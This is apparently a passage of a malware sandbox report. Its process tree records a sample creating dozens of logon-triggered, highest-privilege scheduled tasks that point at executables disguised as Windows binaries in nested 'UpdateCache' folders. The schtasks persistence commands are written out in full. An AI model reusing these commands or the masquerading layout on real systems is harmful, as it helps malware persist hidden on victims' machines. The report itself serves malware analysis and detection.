  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_15" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_15" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13480
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_16" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_16" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OpenWith_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\OpenWith.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ntprint_18" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\ntprint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ntprint_18" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\ntprint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14480
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12504
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:15684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_where_23" /tr ""C:\ProgramData\MicrosoftService\where.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:16268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_where_23" /tr ""C:\ProgramData\MicrosoftService\where.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:14348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_25" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventvwr_25" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_26" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_finger_26" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_27" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_27" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaUacHelper_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaUacHelper_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15024
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_help_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{D3E48B24-D6DD-4AD8-9258-06C8D8BAB757}\Logs\UpdateCache\help.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:8540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1156
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_help_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{D3E48B24-D6DD-4AD8-9258-06C8D8BAB757}\Logs\UpdateCache\help.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12264
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_32" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_unlodctr_32" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_3" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:7360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\UpdateCache\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:12832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\UpdateCache\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_6" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sxstrace_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\sxstrace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sxstrace_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\sxstrace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_8" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_perfhost_21" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_perfhost_21" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_22" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_22" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_23" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UserAccountBroker_23" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_notepad_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpresult_1" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_esentutl_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\esentutl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13220
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_esentutl_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\esentutl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:13788
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_3" /tr ""C:\ProgramData\MicrosoftService\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_3" /tr ""C:\ProgramData\MicrosoftService\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9792
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_6" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_6" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_7" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_7" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8924
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_8" /tr ""C:\ProgramData\MicrosoftService\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_8" /tr ""C:\ProgramData\MicrosoftService\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_12" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mavinject_13" /tr ""C:\ProgramData\MicrosoftService\mavinject.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mavinject_13" /tr ""C:\ProgramData\MicrosoftService\mavinject.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_16" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ntprint_18" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\ntprint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_20" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:8640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_22" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_22" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_23" /tr ""C:\ProgramData\MicrosoftService\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12128
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:14640
- C:\Windows\SysWOW64\cmd.exe
